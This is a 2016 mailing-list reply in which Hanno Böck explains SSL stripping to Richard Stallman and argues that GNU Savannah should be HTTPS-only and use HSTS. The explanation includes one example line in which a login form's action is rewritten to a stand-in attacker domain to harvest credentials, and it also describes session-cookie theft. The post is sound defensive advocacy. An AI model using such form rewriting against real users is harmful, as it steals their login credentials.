repo-criteria-discuss
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Repo-criteria-discuss] Savannah and HTTPS


From: Hanno Böck
Subject: Re: [Repo-criteria-discuss] Savannah and HTTPS
Date: Mon, 10 Oct 2016 12:49:25 +0200

On Mon, 10 Oct 2016 05:01:05 -0400
Richard Stallman <address@hidden> wrote:

>   > It says to support HTTPS properly and *securely*. The current
>   > variant is not secure, it is vulnerable to SSL Stripping attacks.
>   > That's why HSTS was invented in the first place.  
> 
> I don't know what you are talking about.

Ok, I'll try to explain in more detail:
* A Savannah user surfs to the savannah webpage, e.g. through a link,
  the page is delivered over HTTP.
* He clicks on Login. Still HTTP.
* The login page contains a form with this:
action="https://savannah.gnu.org/account/login.php";
* However as that login page itself was not protected a network-level
  attacker can just change that to something like:
action="http://evilhackersdomain.com/getsavannahcredentials.cgi";
* From there the attacker will grab the login data and just forward the
  user back to the real savannah login.

The attacker has the login credentials and the user noted nothing. This
scenario and similar ones is called an SSL Stripping attack, I think
the term was coined by Moxie Marlinspike in a talk in 2009:
https://moxie.org/software/sslstrip/

The important thing to understand here is that HTTPS is about privacy
*and* integrity of the transmitted data. The latter part often gets
forgotten. When you transmit data over HTTP this not only means an
attacker can read it, it also means an attacker can change it.


Now consider the alternative scenario, where everything is HTTPS and
HTTP requests always get forwarded:
* User goes to Savannah, e.g. through a link. If the link is old and
  still HTTP there is still a possibility for an attack here, but only
  right at the beginning. In an ideal case over time all links,
  bookmarks and search engines will learn over time that the page is
  HTTPS only.
* To avoid the attack at the beginning one can use HSTS, a
  standardized header which tells the browser that the page is HTTPS
  only and no requests ever should go over HTTP. Then the attack
  surface is reduced to the very first contact between the user and the
  page.
* If one wants to reduce the attack surface even more you can also add
  the page as a preloaded HSTS page to the browser itself.
  Chromium and Firefox share a list of HSTS-preloaded pages
  (some other proprietary browsers also use that list):
https://hstspreload.appspot.com/


> I don't understand those words.  I can only say that the conclusion,
> "Security requres discontinuing support for HTTP," is an extraordinary
> claim and requires extraordinary proof.  I am extremely skeptical.

You may find that an extraordinary claim, but it's widely consensus
among people caring about web security. There's a reason many want an
HTTPS-only web.

I explained the SSL Stripping scenario above. Another issue that makes
almost all hybrid HTTP/HTTPS solutions insecure are Cookies. If you
have a design like the current savannah where it's possible that the
user gets redirected back to HTTP after login the cookie can be stolen
and an attacker can take over the session. This can be avoided by
carefully making sure that all cookies get the secure flag. But it's
much easier to just avoid it by using HSTS, which prevents cookies from
ever being sent over HTTP.


-- 
Hanno Böck
https://hboeck.de/

mail/jabber: address@hidden
GPG: FE73757FA60E4E21B937579FA5880072BBB51E42

Attachment: pgpUIHYQi9u89.pgp
Description: OpenPGP digital signature


reply via email to

[Prev in Thread] Current Thread [Next in Thread]